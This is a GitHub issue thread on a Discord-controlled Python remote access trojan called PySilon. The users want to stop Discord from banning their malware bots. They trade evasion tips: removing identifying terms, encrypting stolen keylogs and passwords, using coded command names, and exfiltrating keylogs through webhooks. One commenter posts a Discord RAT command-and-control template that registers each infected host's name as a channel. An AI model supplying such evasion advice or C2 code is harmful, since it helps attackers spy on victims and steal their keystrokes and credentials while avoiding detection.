mategol / PySilon-malware

Advanced RAT written in Python language, fully controllable through Discord with dedicated GUI builder to make preparation easier.
https://pysilon.net
MIT License
889 stars 144 forks source link

Basically impossible to not get banned using this #687

Open kohenrepelix opened 1 month ago

kohenrepelix commented 1 month ago

Welp skids, looks like you have to code your own rat lol.

python312 commented 1 month ago

finally a sane and actually smart person in this github issue tracker

rohanraj-aipro commented 1 month ago

what qualities of this Rat makes it Bannable? Is it the key terms like, "PySilon", "Rat" ??? Maybe, modifying this RAT in such a way like, removing all key terms such as PySilon, Passwords, Screenshots, might work??

kohenrepelix commented 1 month ago

what qualities of this Rat makes it Bannable? Is it the key terms like, "PySilon", "Rat" ??? Maybe, modifying this RAT in such a way like, removing all key terms such as PySilon, Passwords, Screenshots, might work??

Honestly no one really knows, some think it's the keylogger and some think it's the grabber. I thought it was the icon that was attached to the embeds because it references back to the pysilon github page. Honestly your best bet is to create your own RAT. I've already created my own discord RAT and I'm running it on my main, and have not gotten banned once.

rohanraj-aipro commented 1 month ago

Well, I Guess It Does matter if we create our own RAT. Because, another possible way could be, the type of subchannels this bot creates, and the way it functions, which makes the discord authority know that this is a RAT. I don't exactly know what behaviour the PySilon shows, which makes it bannable, but, there is a typical behaviour. How about, archiving the Keylogs, and the files downloaded by this RAT with an encryption? The problem arises when the discord identifies the Keylogs as Keylogs. So, if we archive it with a password, then discord cannot read it. right?

and, P.S. Can you Provide the source code of your own rat? Thx

kohenrepelix commented 1 month ago

Well, I Guess It Does matter if we create our own RAT. Because, another possible way could be, the type of subchannels this bot creates, and the way it functions, which makes the discord authority know that this is a RAT. I don't exactly know what behaviour the PySilon shows, which makes it bannable, but, there is a typical behaviour. How about, archiving the Keylogs, and the files downloaded by this RAT with an encryption? The problem arises when the discord identifies the Keylogs as Keylogs. So, if we archive it with a password, then discord cannot read it. right?

and, P.S. Can you Provide the source code of your own rat? Thx

You can test that. It could work. Also I can provide like a "template" for the RAT, im not gonna drop the source until i fully finish it and i make it ready for release.

## discord rat template by kohenrepelix ##

import discord
import platform

client = discord.Client(intents=discord.Intents.all())

@client.event
async def on_ready():
    hostname = platform.node()
    category_name = f"{hostname}"
    main_channel_name = "main-name-whatever"
    log_channel_name = "log-name-whatever"
    voice_channel_name = "voice-name-whatever"
    category = discord.utils.get(client.get_all_channels(), name=category_name)
    if not category:
        category = await client.guilds[0].create_category(category_name)
    channel_names = [main_channel_name, log_channel_name]
    for channel_name in channel_names:
        channel = discord.utils.get(category.channels, name=channel_name)
        if not channel:
            await category.create_text_channel(channel_name)
    voice_channel = discord.utils.get(category.channels, name=voice_channel_name)
    if not voice_channel:
        await category.create_voice_channel(voice_channel_name)
    logs_channel = discord.utils.get(category.channels, name=log_channel_name)
    if logs_channel:
        await logs_channel.send(f"`User is online on hostname: **{hostname}**`")

@client.event
async def on_message(message):
    hostname = platform.node()
    category_name = f"{hostname}"
    category = discord.utils.get(message.guild.categories, name=category_name)

    if message.channel.category == category:
        if message.content == "!ping":
            await message.add_reaction('✅')
            await message.channel.send("pong")

            # CONTINUE TO WRITE YOUR COMMANDS

client.run('TOKEN_HERE')
rohanraj-aipro commented 1 month ago

I guess these features make the RAT "Un-bannable"

1)A RAT with a completely different algorithm compared to other rats like PySilon, and Moom825's Rat. 2)Encrypted Keylogs, Passwords, Screenshots, etc 3)Coded words for sensitive terms like "Passwords", "Webcam", "Clear", "Block", etc.

Basically, the RAT shouldn't be Sussy. It shouldn't sound like a RAT at all

kohenrepelix commented 1 month ago

I've already worked on that for mine, the keylogs are sent through a webhook. so if you wanted to, you could hook it to discord, or another webhook provider

On Sat, Oct 12, 2024, 4:02 AM Rohan Raj @.***> wrote:

I guess these features make the RAT "Un-bannable"

A RAT with a completely different algorithm compared to other rats like PySilon, and Moom825's Rat. Encrypted Keylogs, Passwords, Screenshots, etc Coded words for sensitive terms like "Passwords", "Webcam", "Clear", "Block", etc.

Basically, the RAT shouldn't be Sussy. It shouldn't sound like a rat

— Reply to this email directly, view it on GitHub https://github.com/mategol/PySilon-malware/issues/687#issuecomment-2408448697, or unsubscribe https://github.com/notifications/unsubscribe-auth/AVTCABXTOLIUNW4GHCGK6O3Z3DJQZAVCNFSM6AAAAABPETMSHGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMBYGQ2DQNRZG4 . You are receiving this because you authored the thread.Message ID: @.***>

rohanraj-aipro commented 1 month ago

Do you know any Android Rats that work using Telegram, but doesn't require sites like Glitch, to host the code?

kohenrepelix commented 1 month ago

Do you know any Android Rats that work using Telegram, but doesn't require sites like Glitch, to host the code?

Idk. I'm not big into ratting

python312 commented 1 month ago

Do you know any Android Rats that work using Telegram, but doesn't require sites like Glitch, to host the code?

idk make your own so then nobody will call you a script kiddie, cuz you certainly are one

rohanraj-aipro commented 1 month ago

Not as big as a script kiddie, who'd like to keep their activity private lol

NFS11 commented 2 weeks ago

yeah apparantly same happened to me and someone suggested to not name the bot "pysilon" or anything to do with rats or trojans. I tried pysilon all was good and then I changed the bots server name to pysilon and ended up getting banned a couple of days after that so could be the name? some say it's keylogger feature and others say its the code. another person also suggested to go to the source_prepared.py file and edit the code to remove all instances of the word pysilon or rats or basically anything like that.